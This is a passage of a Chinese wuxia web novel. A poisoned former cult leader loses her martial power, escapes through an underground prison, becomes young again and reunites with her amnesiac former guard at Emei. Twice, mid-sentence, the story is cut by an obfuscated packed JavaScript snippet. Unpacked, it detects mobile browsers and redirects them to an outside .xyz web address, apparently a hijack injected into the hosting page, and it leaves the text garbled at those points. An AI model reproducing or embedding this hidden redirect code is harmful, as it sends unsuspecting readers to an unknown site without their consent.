凤栖梧其实真挺厉害的,至少比他爹强多了。他脑子聪明,脸皮也厚,阴起人来一点也不含糊,装逼的技术更是炉火纯青,人前装好人,鬼前装厉鬼,神仙面前装大仙。我从来都没见过有人能像他这样装得如此浑然天成的。 旧情人见面,凤栖梧脸上的表情那叫一个趾高气扬,脚趾头高得都快飞脑门顶上去了。 “师姐,近来可好?”他肩膀斜斜靠在门上,手里的乌骨竹扇“唰”得一下展开,露出扇尖上锋利的刀刃,“金陵一别,如今算算都将近两年未见了。” 不是在沉默中爆发,就是在沉默中灭亡。凤栖梧小师弟已经华丽丽的完成了在沉默中变态的蜕变过程,俨然已经是个百分之一百二的岳不群了。 我伸了个懒腰,拉开毯子,慢腾腾坐起来,“我啊?凑合吧,肯定是比不得师弟你现在春风得意手握大权。”我说着,别有深意得对他笑了一下,一边还卖弄风骚得拢了拢散掉的长发。 “白玉蛟。” 突然,一个很冷的声音响起来。 我看向说话的人,他也死死盯着我的眼睛。 我笑,“怎么了?乖徒弟?” 何知易突然向前走了一步,一步跨过了门槛。 后面的人看到自家头头动了,以为是要开掐,立即都亮剑想往里头冲,但是被何知易果断抬手制止,“你们在这里等一下,我有话要跟她说。” 凤栖梧突然阴下脸,他阴狠瞪了何知易一眼,嘴上却挂着一丝笑容,轻松得说,“何教主您请便,那我们这些闲杂人等就现在外头候着。” 何知易点了一下头,一反手就把门又“嘭”得一声又阖上了。 我说你们都拿门出气干嘛?人家又没惹你。 我摇了摇头,起身。顾染织立即拿起外袍,伺候我更衣。 “你早就知道了?”何知易开门见山,简单问道。 何知易与当年我在云顶山庄上碰到的男孩已经判若两人。当年的他,如若一把宝剑入鞘,将自己所有的锋芒尽敛于鞘内。而现在的他,内敛依旧,但剑已出窍,只是未沾染血腥。锋利却干净,少了尘世的杀气。他眉眼还是如当年那般漂亮,但骨骼的线条轮廓已经逐渐洗掉了少年的青涩,隐隐显露出挺拔而分明的棱角。 他此时锦衣华袍站在我面前。 我知道,他开始了他的复仇。或者说,终于正大光明地开始对我打击报复。 其实他已经复仇很久了,在这一年之间,他每一天都来见我,陪我说会儿话,喝一杯茶。每一天都在兢兢业业勤勤恳恳向我下毒。 我把胳膊伸进袖子里,对他扬眉一笑,“你说的是你向我下毒的事,还是你联合了凤栖梧策反的事?” 何知易看着我不说话。但是,他眉峰微微蹙起来,似乎在忍怒不发。 他几乎是带着一丝报复的快意,一字一句冷冷说,“那你知不知道我向你下的是什么毒?那你知不知道,毒还有半柱香就会发作?” 我笑了,“我可没这么神通广大。不过我昨天吐血吐了大概一升,差点没吐死。你这毒可真是够毒的。” 何知易瞪着我。瞪了半晌才蹦出一句,“你为什么要这么做?” 我眨巴眨巴眼睛卖萌,“什么为什么?” “你想死?” “你猜呢?”我笑,继续卖萌。 何知易继续忍怒,被我憋得半死。 忽然,我感觉到顾染织把手指放在了我的腰上,于是我抬起手,让顾染织替我把腰封扣好。他的手从背后环到我的身前,然后我听到他后背贴上来,轻轻在我耳边轻声说,“想死也得挑个好地方。跑。” 下一秒,顾染织一把推开我,百炼钢软剑骤然出鞘,一出招就是七窍锁心剑法的奥义必杀技。剑尖如同灵蛇一般窜向何知易的心口。 我猜何知易是听到了刚才顾染织所说的话。 他没闪没躲,而是运气,猛得对着顾染织一掌扇出去,那一掌运足了十成的功力。虽然何知易学“刹那芳华”还在起步阶段,但是起步阶段的内力就已经不容小觑了。顾染织侧身避过去那怒潮一般的掌风,掌风擦着他的衣摆掠过去,然后轰然掀翻了屋顶。 我们仨一起抬头看了看屋顶上被轰出来的大洞,然后我不加思索地鼓了鼓掌。 不错不错,有进步。 顾染织若有所思看了一眼何知易,一把拉起我的手,猛地一用力,猫一样窜上房顶,从打漏了的洞里钻了出去。 我被顾染织拉着跑,背后跟着一屁股追兵,手误刀枪棍棒,嘴里怒吼着“杀了她——!” 那场面真是颇为恢弘,颇为蔚为壮观。 侍卫看到我和顾染织被追杀,大部分人选择视而不见。即不追杀我,也不救我,置身事外明哲保身,把我当空气一般忽略过去。 我看着背后那追杀的滚滚烟尘以及震天的杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349890|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊声,忍不住没心没肺地大笑。 整个镜花宫都倒戈了,这可真有意思。 最后,顾染织把我一把扔进了修罗狱的入口。 修罗狱一共有八层,每一层都有一个修罗场。曾经,我就是在修罗狱的第八层醒来,在修罗场中目睹了一场小屁孩之间的血腥厮杀,然后从第八层走上来,重获光明,成为了镜花宫的少主。 现在,我竟然又沿着老路逃回去。 这世间的很多事,都很有意思。 这就是所谓尘归尘,土归土,从哪来,滚回哪去的含义么? 修罗场每一层理论上都是有重兵把守的,但是很奇怪,今天这修罗狱中空空如也,除了墙上装饰着的骇人的骷髅,半个人影也找不到。我和顾染织兔子一样往下逃,耳边回响着的只有两个人急迫的脚步声,以及两层之外错乱的追逐声。 突然间,我胸口猛然一痛。 不,这种形容不够贴切,为了让你们感同身受,我应该将这种痛形容为好像有人再那电锯把你拦腰锯成了两半,而且技术还不好,锯得特别慢,左一刀右一刀,让你支离破碎却不能完全撕裂。 最近我老是疼,疼着疼着就习惯了,所以现在颇为淡定。 “等一下。”我突然一把攥住衣襟,突兀得站住不走了。 顾染织回头看我,他突然间脸上露出了惊惶的神色,“你怎么回事!” 看来我现在的脸色肯定是很吓人了,不然顾染织怎么能一脸见鬼了的表情。 我疼得根本就无法再走一步,但脑子却还偏偏特别清醒,我用力,言简意赅说了三个字,“毒发了。” 此时我们已经到了第六层。 顾染织知道我已经不能再走了,他拦腰把我抱起来。他的动作其实不粗鲁,还应该算很轻柔,但是他抱起我的一瞬间,我就无法抑制地开始吐血。鲜血瞬间染红了他天青色的鹤羽外衣,斑斑驳驳,不一会儿就把前襟整片沾湿了。 顾染织搂着我,轻声安慰,“在坚持一下。” 我把头靠在他胸前,微微地扬了扬嘴角,顺便,嘴角继续流血。 最后,我们终于到达第八层,身后的追杀声已经近在咫尺。顾染织把我放到修罗狱的青铜大门内,然后在墙上摸了一会儿,竟然摸出来一个手柄。 我诧异地看了他一眼,顾染织解释说,“我掌权的时候,偷偷改造了第八层。我就是料到会有今天这种情况,总得给自己留条生路。”他说着,用力拉下了一个手柄。 紧接着,就是机关错动的巨大沉闷声响。 我想笑,于是困难地扬了扬嘴角,声音微弱地几乎听不到,“你这小子……” 修罗场靠里的一面墙角,突然开始扭曲变形,无数块砖开始向内收缩,紧接着竟然露出了一个黑暗狭长的通道。 “这通道一路通下山,一直通到觉苑寺。”顾染织说完,拉下了另外一个手柄。另一种沉重的机关错动的的声音响起,远处响起轰隆轰隆的闷响,整个石室都在微微颤抖。 “我在六到七层设下了机关陷阱,应该可以挡他们一会儿。是不是想的很周到?”顾染织看了我一眼,笑得有几分狡黠。 然而,他话还没说完,我就听到自己撕心裂肺地短促尖叫了一声。 我不知道那声惨叫是不是我自己发出来的,那声音简直就像鬼一般凄厉。我狠狠咬住嘴唇,全身的痛找不到一个发泄点,无意识中,手指一瞬间就扣进了地面。身体仿佛被开了一个大洞,全身的内力在被用什么东西抽走,就如同拿着针管在抽走骨髓一般。 顾染织扑过来按住我的时候,我知道自己疯狂的在挣扎,他死死的按住我。过程中我似乎在咬他,在抓他,他都死死的把我按在地上。不然我大概会在无意识的情况下疯狂的用头去撞地面。 这过程不知道持续了多久,朦胧中,我似乎听到了何知易的声音。 他说:“她散功了。我给她下的毒是散功散。” 这么痛我怎么就不晕过去呢? 我狠狠抓着顾染织的胳膊,全身不住的颤抖,每一块肌肉都在抽搐。 我很想对何知易说“算你狠”,但是我实在没办法开口。 ··· 55. 潜龙出海 觉苑寺的气氛有点奇怪。 我睡的这间房间是个偏厢房,被打扫的干干净净一尘不染,似乎前不久有人住过。不,这样说并不恰当,确切的说,是有人住着,但是人不知道哪里去了。 衣柜里还整整齐齐码着两件女孩子穿的衣服,两件都是白色。我自己身上的衣服太脏,于是就挑了件厚点的毫不客气的给换上了。 屋角的缸里有清水,我把身上脸上的血污洗干净。我洗脸的时候,趴在水缸边上,看到了水里自己的倒影。 望去第一眼我就愣了一下。 水中这人有点眼熟……然后我就神经质得猛回头,屋子里空空如也,除了我就只有我。所以水里那家伙肯定是我自己。我又仔细瞅了瞅自己的倒影,越是看,越是觉得怪异,那人仿佛又像自己又不像自己。怎么看,都觉得哪里透着一种怪异的违和感。 正在我正在跟倒影过不去的时候,我听到门口有人骂骂咧咧的经过。说着什么中午的馒头硬的像木头,中午的疙瘩汤里头有石头什么的。 听着那俩哥们嘟囔午饭,我这才突然发觉自己好像很久没吃东西了,肚子很饿,于是不假思索转身准备推门出去。 出门前,发现门边上贴了一张纸条,上面写着几个字:不要用坏了。 我疑惑,门怎么还能用坏了?门还能干吗用啊?!用来练铁头功嘛?! 疑惑了两秒后,我一掌推开大门,结果,就听到了轰隆一声巨响,那可怜的门板整个“啪”得一声直挺挺倒在了地上,煽起一片灰尘弥漫。 于是,我终于明白过来了。 我靠,那张纸条的意思原来是:不要用,坏了。 我顿时再一次感叹:多打个逗号会死啊?! 为何母亲书斋里头的书全是有标点符号的印刷体,来到这江湖之后,文字就全然是没有标点的手写体了呢……这问题困扰我半生,至今未解。 面前那两人一看便知是巡逻的杂兵。他们一高一矮一胖一瘦,甚是喜感。两人先低头看了看门板,又齐刷刷抬头盯着我。看到我像看到了鬼一般,眼睛瞪得如灯笼那么大。 其中一个瞪着我,抬手指着我鼻尖儿,“你、你怎么逃出来了?” 我不假思索点头,“对呀。” 我话音一落,其中一个“瘦高丑”立即给了另外一个“矮胖丑”一个大嘴巴,“你说你怎么办事的!捆个人都捆不紧!呆会儿凤大人回来了不得一嘴巴抽死你丫!” 另外一个人很无辜地捂着脸,哭丧到,“我明明锁紧了的……” 我看着他们一唱一和来去没完,于是不耐烦打断了他们,“喂,你们能先别吵了么?我很饿,先给我点东西吃行不?” 紧接着,本座就被很无辜得点了穴道,然后像个麻袋似的被扛走了。 被点穴的时候我还惊诧了一阵子——我这是怎么了?怎么就这样被点中了?!后来才恍然大悟,我好像被下了散功散,十多年功力魂飞魄散,也不知道如今还剩下几成功力。 我被扛到一个柴房模样的地方,破木门被一脚踢开,吱呀吱呀半挂在门框上,甚是凄惨。 “矮胖丑”点了我的穴道还不放心,又把我像个粽子似的捆结实了,然后一下扔在地上。 我在地上像个土豆似的滚了几圈,平静得眼瞅着那俩杂兵模样的人就又骂骂咧咧的走了。 柴房的破门被重新阖上,我慢腾腾从地上坐起来,一抬头,我就乐了。 因为,这破柴房里原来不止我一个人。挨着墙根依次排排坐了七八个人,他们个个衣衫褴褛,面如菜色。更惨的是,那破墙根上头,有扇没关的窗子,寒风不停从破窗子里涌进来,吹得那一排人缩在墙根冷得瑟瑟发抖,涕泗横流。 通常,安慰并不能抚慰苦逼的心灵,只会使苦逼变得更廉价。治疗苦逼最好的良药,就是看到原来还有人比自己还苦逼的苦逼。 于是,本座当即便被治愈了。 最让我乐的是,那一排苦逼中还有俩我特熟悉的脸——秦黛黛和颜静行。 “姑娘你没事吧?”颜静行见我一直盯着她瞧,便柔柔弱弱有气无力地开了口。她脸色发灰,嘴唇干裂,一副惨遭凌虐的模样。 我没说话。而是继续用一种看动物的表情盯着她。 奇怪了,为何这群人看见我白玉蛟,却毫无反应? 她旁边的秦黛黛闻言,也半死不活扭过头来瞧我。忽然,秦黛黛回光返照一般突然精神了,她神色变得很紧张,用肩膀使劲撞了撞颜静行,“颜姑娘颜姑娘,你不觉得,这姑娘,她……她长得有几分像……白玉蛟么?” 她话音一落,整个房间里的人,刚才在打盹儿的装晕的,这会儿全抬起头来看着我。七对无神的目光聚焦到我身上,从头到脚,从脚到头,来来回回扫视数次。 我有点发憷,向后缩了缩。 然后,颜静行发话了,“像是像,但绝不是。白玉蛟都已经年逾三十了,这姑娘怎么看都是十六七的年纪。” 我额角青筋跳了跳:“年逾三十”说得也太不厚道了吧?!你不也奔三了嘛!没几年就轮到你了!等等,那个十六七是什么意思…… 我呆了一瞬间。 随即,脑袋像是被雷劈了一般,突然间明白过来为什么我看到自己的脸时,觉得那么古怪了。 本座再次返老还童。这次是回到了十六七的年纪。有了变回七岁的经历,再变回十七,我便淡定多了。我把散功和现在这模样联系起来推理了一下,大概明白到底发生了什么事。 秦黛黛听颜静行那么说,立刻点头,“对对,我肯定是多想了,姑娘你别介意呀。我这人就是太心直口快……” 我瞥了她一眼,然后冷哼了一声,径自双腿一盘,闭起眼睛来开始运气吐纳,引导气海丹田里残存的内力在丹田肺腑里运转了一个小周天。 过程中,我听到秦黛黛轻轻问了声,“姑娘,你受伤了么?” 我不理她。 一炷香之后,我运气完毕,接着就站了起来。 就算本座仅剩下了十年的功力,也岂能随随便便被小杂兵给收拾了?想当年,本座十二岁炼就“刹那芳华”第五层,十六岁出道高调血洗武林,十八岁承袭教主之位,那时候本座手上的人命就已然三位数了。少了十四年功力怎么了?就算少了十四年功力我照样能遇人杀人,遇神杀神。刚才中招纯粹是因为我现在内伤未愈,真气不足,是个夹杂着身体因素的意外。 我在墙角那一干人等见了鬼一般的瞪视下,轻轻松松把捆住我的绳子挣成了数十段。然后,我悠闲站起来,活动脖子和手腕。 “姑娘……”秦黛黛以一种仰视的角度,目光闪闪望着我。 我了然,于是凌空一点,解了她的穴道。然后又顺手噼噼啪啪点了一通,把剩下的人穴道全给解了。 完事之后,我便事不关己般靠在墙上,无所事事看到他们相互帮忙解着绳索。等他们都搞定了之后,颜静行对我缓身一揖,“多谢姑娘救命之恩,此地不宜久留,我们还是先悄悄逃出此地再……” 她话音还没落,我已经一掌劈散了屋角的一个破桌子,拔了桌子腿就走出了柴房。 紧接着,一阵鬼哭狼嚎撕心裂肺哭天抢地之声回荡于觉苑寺上空。 半盏茶之后,数十个看守的杂兵就已经被困得结结实实,像待蒸的螃蟹般,被仍在柴房里,在漏风的墙根下躺成一排。 颜静行秦黛黛等人看得目不暇接目瞪口呆。 我自是懒得跟这帮拖油瓶解释,径自走到马棚里,挑了一匹顺眼的牵出来,然后不耐烦扬了扬下巴,“你们别磨磨蹭蹭的,若凤栖梧回来,就麻烦了。” 我语落,众人才如梦初醒,蜂拥冲进马棚里每人顺了一匹出来。 我们骑着马在林间小道里飞奔逃窜。 一边逃窜我一边懊恼,怎么刚才就忘了拿个馒头再走呢,饿死本座了…… 途中,秦黛黛告诉我:这次他们是奉了武林盟之命来到蜀中,调查唐门。近期,蜀中一带,有些门派有异动,漠北的鬼王宗也似乎暗中在捣腾什么阴谋,沈墨白察觉得快,就让秦黛黛以回峨眉探望的名义回蜀中调查。颜静行是半路一脚插进来的,秦黛黛临行前她正好到武林盟,就也被沈墨白打发来了。 就在秦黛黛和颜静行已经调查出了些眉目的时候,突然,她们被凤栖梧约到了觉苑寺。 凤栖梧虽然已经失踪已久,但是江湖上有个人突然失踪了也不是什么怪事,很有可能是闭关修炼,闭关娶老婆,闭关生孩子去了。虽然在武林盟主之战中声明受损,但凤公子的名声在诸位女侠间仍还算是不错的,秦黛黛和颜静行又觉得他们人多势众又有武林盟撑腰,于是没做提防便来到觉苑寺赴约。 凤栖梧是以有要事相商把他们约来,开始两天做足了面子,客客气气招呼他们游山玩水,秦黛黛这傻孩子妄图借出公差之名游山玩水,谁知道,突然有一天凤公子凶相毕露,一个十香软筋散把他们一帮子人一个不留放倒了。自此,一行人便被囚禁在了觉苑寺中。 凤栖梧劫持武林盟的人做什么? 以我对他的了解,我猜,他是八成想在自己控制了镜花宫之后,就向武林盟宣战,以报当年沈墨白在武林大会上按着他的脑袋以头抢地的一撞之仇。 考虑到锦官城里头有唐门这么个祸害在,一行人等仓惶之中一路逃亡,一直到了峨眉老窝,才算松了口气。 一回到峨眉,便见整个峨眉派的姐姐妹妹们都像热锅上的蚂蚁似的正急得团团转。峨眉派诸人一听说秦黛黛活着回来,都冲出门口出来围观。 那代掌门杜青娥,一听说师妹回来了,左一巴掌人扇开一拨人,右一巴掌又扇开一拨人,一个箭步窜上来,抱住秦黛黛就一阵痛哭失声。 “黛黛你总算回来了,呜呜呜,师傅闭关,你要是出了什么差错我拿什么跟她老人家交代啊!呜呜呜,你这个造孽的坏孩子……” 她这一哭,感染了峨眉派众师姐师妹们,齐刷刷泪如泉涌,泪飚如飞,整个峨眉派内爆发出一阵凄凄惨惨的哭声。不知道的路人从墙头外面经过,还以为这里头在奔丧呢…… 在一片凄婉哀怨的哭声中,我不合时宜的清了清嗓子,朗声道,“请问,什么时候开饭?” 杜青娥停止了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349891|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭泣,抬起头来怔怔看着我,“申正……” 我皱了皱眉头,“能不能提前点?我快饿死了。” 我此话一落,众姐们们顿时都拿“此人甚是不解风情”的鄙夷眼光望向我。 杜青娥终于冷静下来了,压低了声音问秦黛黛:“这姑娘是……” 秦黛黛这才想起我来,她夸张得倒抽了一口冷气,赶紧介绍,“这位姑娘是我们的救命恩人!正是她救我等从凤栖梧的魔爪中脱离出来的!” “凤栖梧?” 这名字一提起来,众峨眉姐妹们立即私下议论,纷纷露出了一脸欣羡的表情。 秦黛黛倒是没注意到其他人的表情,拉着杜青娥义愤填膺地“哔哔”起来,“是啊!凤栖梧那个道貌岸然的败类!竟然下药暗算了我们,还把我们囚禁在觉苑寺三天三夜!不给饭吃,不给床睡,御寒的衣服也不给!简直就是丧心病狂惨绝人寰!” “此话当真?!”杜青娥闻言,也倒抽一口冷气,眼睛一瞪,两道细长的柳眉一下子竖起来,表情真是颇具戏剧性。 “千真万确!” “你……”杜青娥又想继续“哔哔”个没完,我在她张开嘴的一瞬间,义正词严插嘴,“杜!女!侠!我都快饿死了!旁边这几位也快冷死了!您能不能大发慈悲,别再折磨我们了?!” 杜青娥瞪大眼睛,呆呆的“啊?”了一声,一转眼,终于把目光落在了站在大门口,饥肠辘辘,衣不蔽体,蓬头垢面的武林盟同胞身上。这才后知后觉叫道,“哎呀真是的,怎么都杵在大门口呢?快点快点进来。” 喂喂,你这话说得怎么好像是我们赖在门口不动窝?!不要把责任都推卸掉! 杜青娥忙碌起来,一边指挥者小厮去把从凤栖梧那里顺来的马牵到马厩,一边七手八脚指挥下人,“你速带各位大侠去西厢房,安排住所。你,快点去请三香楼的大厨来,晚上大办一桌为诸位压惊!” 我说我饿得快要魂归天际了,杜青娥便在百忙之中不知道从哪里弄了一盘子桂花糕塞给我。 端着桂花糕,我心满意足无欲无求。吃着酥甜的点心,我觉得世界甚是美好,天青水蓝风和日丽。我哼着小调,找了个没人注意的角落,一蹲,独自一人吃得甚是开心。 ·· 傍晚摆酒席又少不了一顿折腾。 我说这杜青娥真不是一般的迟钝,她根本就是只会用脚趾甲盖思考问题。她大张旗鼓摆了满汉全席,鞭炮齐放,礼花齐鸣。这么拉开了架子,大张旗鼓得宣传,不是摆明了向凤栖梧昭告说:来打我吧,来打我吧!你要捉的人正藏在我峨眉派里! 现在凤栖梧不仅有唐门、鬼王宗,还握着镜花宫这张王牌,若是他排上倒海而下,灭了你这小小的峨眉,那还不是去撒泡尿的功夫…… 我在酒席上被迫跟杜青娥坐在一桌,确切的说,是就坐在她右手边。出于为了避免自己卷入麻烦,我便提点了她一句。 但是杜青娥胸有成竹,她抚摸着我的手,深情款款道,“姑娘莫要忧心。几日之前,我见黛黛他们日久不归消息全无,便已经猜到是出了事,早就已经飞鸽传书给武林盟,让盟主派人前来接应,算算日子,大概今明两日就到了。” 我瞥了她一眼,啥也没说。 派人来?派谁来都不顶用!我自己调教出来的教派,他们的实力我还不清楚吗?别说踏平你峨眉了,就算是将整个中原武林给蹂躏得死去活来那也不在话下。 看来,此地多半要成炮灰,不宜久留,我得早作打算,早日逃之夭夭。 我正在出神,忽然颜静行说话了。她一路上都很安静,似乎是体力不支处在半昏迷半睡眠状态,如今吃饱喝足,总算回过劲儿来了。 “这位姑娘的伸手不凡,不知姑娘师出何处?年纪轻轻竟然有如此修为。” 我看了看天,看了看杜青娥,冷冰冰回答了六个字,“仙灵岛。水月宫。” 杜青娥先是迷茫,我估计她是在琢磨这名字怎么那么熟悉。 她当然熟悉了。犹记得当年金陵召开武林大会的时候,我这大魔头伪装蒙面出现,杜青娥为了替我打掩护,胡诌八扯向众人介绍说:这位公子师出仙灵岛。 杜青娥突然脸色巨变,上一秒是春风满面下一秒是霜打茄子,她干笑了一声,问,“仙灵岛?水月宫?恕小女子孤络寡闻,竟从没听说过呢。” 我淡定无比的点头,一边不停手起筷落,连抢带打,从刚端上来的盘子里抢下七八个狮子头堆在碗里,“嗯,家师灵月宫主喜欢清静,不跟你们这些武林人士纠缠。” 试问,骗人的最高境界是什么? 那就是——浑然忘我,出口成章,漫不经心,信手拈来。 打磕巴什么的是大忌,所以信口胡编不好,东拼西凑也不好,最好是从记忆深处挖掘出来。我这一挖掘,杜青娥编的谎话就冷不丁窜出来了。 在桌的人面面相觑。 颜静行干笑了一声,岔开话题,“还没请问姑娘姓名。” 我一口吞了一个狮子头,一抬头,正想说话,突然眼睛就直了。 我看到了一个人。 56. 似是故人来 那人一袭白衣,宽袖长摆,那白色的拖纱被夜风扬起,飘在夜色中有一种虚幻的感觉。 在我记忆里,他未曾穿过白衣。原来,他穿起来是这种清净雅致的感觉。 他的皮肤比以前晒黑了点,大概是不用再整日戴面具的原因。 一路上,他与很多人微笑着点头致意。然而我记忆里头,他对我笑的次数寥寥可数。 他的眼睛很亮,映着闪烁的火光,如同深邃的海中落入了点点星光。 “十……” 杜青娥没听清,于是追问了一句,“实什么?” 我把目光收回来,吧唧吧唧用力嚼碎裹着脆藕的狮子头,“实在不想告诉你们。” “……”杜青娥的脸色,刹那间,变得更加像茄子了。 十四走过来的时候,杜青娥磨磨蹭蹭袅袅婷婷而又婀娜多姿站起来,刻意表现得颇为不以为意。倒是她旁边的秦黛黛,迅雷不及掩耳之势,“嘭”得一下站起来,差点没一膝盖把桌子给顶翻了。 我赶紧扶住自己的汤碗,别让那金贵的鲍鱼海参汤洒出来。 “忘尘哥哥!没想到盟主竟是派了你来接应我们!”秦黛黛一个飞窜扑向十四,然后亲昵得挽住了他的胳膊。 她面向十四时是一脸小鸟依人,一扭头回来瞟周围蠢蠢欲动的师姐们的表情架势,又仿佛一只护窝的母老虎。在她的瞪视下,妄图趁乱靠近十四的诸位峨眉寂寞师太们都纷纷中招,节节被逼退。 侍女立即在主桌上加了个座。 杜青娥站起来,一副主人的架势,客客气气而又假作亲昵道,“这位是武林盟的副盟主,穆忘尘公子。想必诸位也都熟悉得很,也不用多加介绍了。穆公子一路车马劳顿,来得早不如来得巧,我们也就不客套了,快快入席吧。” 众人都站起来一番寒暄,我稳坐如泰山,趁着他们不注意,伸出调羹把清蒸鲈鱼的正面一勺子从鱼鳃到鱼尾巴刮了个干净。 我伸手去捞鲈鱼肉的时候,十四,确切的说,是穆忘尘——谁给他起的名字,怎么这么土鳖恶俗而伪善讨嫌?!呃,那个没品位的人好像正是不才在下我——不知是有意还是无意,穆忘尘垂下眼帘,又刚巧,他就正坐在我对面,于是,我们的目光就不可避免的在众人的觥筹交错之间,交汇了。 十四一瞬间愣住了,浅浅的笑容直接僵硬在了脸上。 我也僵了——不是认出我了吧?!难道沈墨白给十四洗脑是用的假药么?!没彻底洗干净?! 但是,十四随即就看着我,露出了迷惑而苦恼的神色。 我于是淡定得别开眼,去扫荡另一盘兔头。 原来,只是惯性啊……吓我一跳…… 不是有句恶俗的老话,叫什么“脑子忘了,身体还记得”么?十四大概就是身体记忆太好,看到我,全身肌肉组织包括晶状体都自动做出了反射活动。 众人还在你一句我一句吹捧个没完,嘈嘈杂杂哦吵吵闹闹,间或忽然举杯,忽然敬酒,忽而高声大笑。 我坐在板凳上,埋头左一筷子又一筷子,迅速风卷残云消灭桌上的食物;十四就端着酒杯站在我对面,虽然他也在应付着周围的人,但我知道,他的目光总是若有若无落在我身上。那目光就仿佛有实感似的,轻飘飘落在肩上,有微凉的温度。 我吃了个二十成饱,把昨天今天明天没吃的份全给补了回来。然后,便大叔状躺倒在椅子里,一边剔牙一边顺气儿。 “请问……姑娘,我知道有些唐突……可否请教你的姓名?” 十四一开口,刚才欢乐万分的在座诸人脸上都闪过一抹尴尬。因为一刻钟之前,我刚刚果决霸气而诚恳的拒绝透露姓名。 我斜眼看着他,嘴里还叼着根牙签,一上一下在牙齿间咬着磨牙玩。 我一挑眉,“你猜。” 十四有点尴尬的站在那里,虽然他定定的看着我,却带着点不敢直视的躲闪,这种眼神让我觉得很熟悉——以前他做错了事情就会用这样的目光看着我。 我不由自主笑出了声。我看着他的眼睛,眯起眼睛微微一笑,轻叹一声,“尘缘碎梦,指间流沙。” 我语落,满场皆静。 感到众人以一种波光粼粼星光闪闪的目光盯着我,脊背上一阵寒毛直立。我皱眉,“怎么了?” “不是不是,”坐在十四边上的秦黛黛一下子激动地站了起来,我看到别人碗里的汤大幅度晃动起来,摇摇欲坠,“姑娘,你笑起来的样子好美!简直比师姐年轻时还要更漂亮!” 奔三的杜青娥手里的筷子发出了“咔嚓”一声脆响。 杜美眉,你此刻的心情,我这个过来人完全可以理解。我想着,投给了她一记带着安慰成分的白眼。 十四眼睛里闪过一抹淡淡的感伤之意。只是不知道在感伤些什么。 “那姑娘的名字是……” 我看着他眉心浅浅的皱痕,鬼使神差得说,“就叫我十四吧。” ···· 晚上我回房间的时候,才发现其他人都住在了西厢房,唯独我被单独分在了一个别苑里。这当然不值得好抱怨,一来,我跟他们又不熟,住一起难道还能凑一起去搓个麻将玩个骰子么?二来,这别苑显然规格比西厢房还要高,一看就是招待大领导用的,我能住上,说明地方领导杜青娥,已经给足我面子。 一顿吃太饱,便觉得困顿。 这一年多,折腾得不轻,身体状况一日不如一日。以前一日千里,几日不吃不睡都不在话下,这次连夜从剑阁赶到峨眉就觉得身体散了架似的疲倦。 我打着呵欠从别苑的半圆形拱门走进去,经过铺着白玉石的地板,摇摇晃晃摸向房间。 我扶着门板进屋,几乎是借着体重撞开了门,一抬头,便定在了门口。因为,几步之外,便是一片春光无限好的背肌。 我进门的时候,十四刚好撩起头发,准备换上浴袍。他撩起头发的时候,我看到了他脖子后面竟然有一个小小的刺青。 刺青只有一个字。 蛟。 我愣了一下,然后意识到这恐怕是沈墨白这人渣的恶作剧。 十四听到动静,诧异地回过头来,看到我的一刹那,整个人就呆掉了,然后我就看到他从脖子开始一直到脸上,一层层泛起了淡淡的红色。 “我走错门了。”我说完,淡定的往里跨了一步,反手把门关上。 于是,就变成了孤男寡女共处一室这么个激情四射的情况。 于是,十四被惊吓了似的向后退了一小步,差点被绊倒摔在床上。 你都脱黑洗白这么多年了!别告诉我你还是跟当年一样纯情,连个大姑娘的手都没摸过! 一边腹诽,我一边四下打量了一圈房间,最后目光落回他身上,“喂,”我对他扬了一下下巴,“有酒么?” 十四仍旧处在惊魂未定的状态,看着我,神色满是迷惑,“屋后有个酒窖。” 我大大咧咧往小八仙桌边上一坐,“我救了她师妹,偷杜青娥两坛酒她应该不会记恨我吧?” 十四就事论事道,“就杜青娥的个性,你偷了她的酒,她大概一辈子也不会发现。” 我撇撇嘴角,用力点头。十四这话还真是太一针见血了。 于是我就下了酒窖摸了两坛酒回来。 十四似乎已经料到我会去而复回,换回了常服,穿戴整齐一本正经坐在小桌旁等我。 我把两坛酒“哐”一声砸桌上,手肘撑着酒坛挂着一脸调戏良家小媳妇的表情道,“酒这东西,一个人喝,凄凉的很。不知穆副盟主可否赏脸共饮几杯?” 十四浅浅的笑,好脾气道,“好说好说。” 结果,那天晚上我喝大了。没喝多少,半坛还没下去就醉了,酒量如此之差,实在是始料未及。 喝多了之后,我终于也不能免俗的话唠了。 “人生得一知己足矣,斯世,当同怀视之……” 十四不说话,静静坐在桌子边,安静的看着我。我在醉意中看着他的脸,恍然,不知今世何世。恍然觉得,这十年,也不过是周公梦蝶黄粱一梦,我还是那个武功盖世的女魔头,十四仍旧是那个傻了吧唧的护卫,顾染织……阿织他,仍然陪我左右,煮酒抚琴。 眼前的景物都在慢悠悠的左右晃荡,我晕的厉害,干脆闭上眼睛扑倒在桌上。 “穆什么什么的,你可曾有过知心之人?曾经,我有过这样一人。他陪在我左右数十年,他懂得我,懂得我的坏脾气狠心肠。他从认识我的时候,便深知,我是个何其残忍的混蛋。而我呢?我直到最近,才开始想要去了解他,然后啊……然后可笑的是,我发现,他也残忍,也是个混蛋,而且是个残忍的变态混蛋。”我闭着眼睛站起来,晃晃悠悠,踉踉跄跄,最后一头栽倒在床上。顺势滚在床单上抱住枕头,把额头贴在枕头上,感觉到玉枕冰冷的温度。 